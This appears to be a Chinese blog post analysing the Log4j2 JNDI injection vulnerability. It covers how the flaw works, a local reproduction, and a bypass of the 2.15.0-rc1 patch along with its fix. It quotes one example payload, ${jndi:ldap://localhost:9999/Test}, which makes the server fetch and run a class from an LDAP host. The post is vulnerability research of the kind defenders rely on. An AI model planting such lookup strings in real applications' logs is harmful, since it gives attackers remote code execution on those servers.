Log4j2漏洞总的来说就是：因为Log4j2默认支持解析ldap/rmi协议（只要打印的日志中包括ldap/rmi协议即可），并会通过名称从ldap服务端其获取对应的Class文件，并使用ClassLoader在本地加载Ldap服务端返回的Class类。

这就为攻击者提供了攻击途径，攻击者可以在界面传入一个包含恶意内容（会提供一个恶意的Class文件）的ldap协议内容

（如：恶意内容${jndi:ldap://localhost:9999/Test}恶意内容），该内容传递到后端被log4j2打印出来，就会触发恶意的Class的加载执行（可执行任意后台指令），从而达到攻击的目的。

这里我一共使用了两个jdk版本

8u202的情况比较特殊

研究了两者的不同，发现唯一不同的就是我司这个idea启的project带有springboot的库。

然后看了一篇文章

明白了其中的原因

还可以参考以往的jndi注入

为了方便本地测试，就把jdk版本降下来了

首先拉一个maven项目，把dependency搞上去

然后直接搞上一个poc

复现很简单 ，触发没有难度，就是个jndi注入

撸一发各家的情报。

360，用的是挂恶意类的方法来做复现，弹个计算器，我也来弹一个吧。

他这里是用的System.setProperty来做的 ，用的是rmi，和网上通用的ldap的poc不同，也是去请求一个外链，协议不同而已，不过通常情况下rmi限制更多。

详细用法可以参考fastjson的利用。

漏洞的最终的触发点在lookup上，然后用lookup去发请求。

然后jndiName是用户可控的，也就是在log中的记录。

因此导致了漏洞产生

这里的绕过指的是绕过

log4j-2.15.0-rc1

这个版本

首先看一看新版和老版的对比

点进去看一下

这里对scheme和host做了白名单校验，如果不在这里面就走return null这段逻辑。

但是，这个白名单都是需要自己配置的，默认是空。那么意思就是说，如果自己不去配置，那就莫得法来绕过，因为是白名单。

再看看怎么修复lookup的 

这里把原来的直接formats解析做了限制，还写了一个withoutLookupOptions方法。

跟一下这个方法看看。

曰死，我们着重看一下这段。

这个判断很有意思，在老版本，这个lookup是默认开启的，那么!过去就是默认不开启，于是注入payload是能够走的通的。

现在新版本lookups是默认不开启的，如果想要开启，需要自己手动去配置。

看，像上面这些configuration和options都是需要手动进行配置的。

也就是说，这个版本基本没啥问题了，那为啥还能绕过呢。

继续比对最新版本和可以被绕过的版本

然后看看log4j家的开发，这个叫做rgoers的小伙子是怎么修复这个漏洞的

进入代码查看

这里是catch一个异常，从字面意思理解就是url的语法异常，原本catch后面是木有写东西的，但是现在加上了两行语句，然后return了null

什么意思呢？

意思就是先利用url语法错误报错然后把条错误语句注入到log里，然后payload解析，然后导致漏洞发生。

原先因为没有加上return null这个语句，所以语句不会被return，然后会接着走下面的代码逻辑，就中套了。

但是现在return之后，就直接跳出去了，就莫得事情了。

但是绕过归绕过，虽然这里绕过了，但是配置那块，指定是绕不过的，除非自己配置就有问题，那就怪不得别人。

根据官方文档来看，log4j2有多种配置文件的方法，并且到了2.15.0-rc1版本，默认配置就是安全的，因为默认没有配置文件，需要自己去创建，因此默认配 置为空，如果自己配置的时候不乱来，就可以了。

往期回顾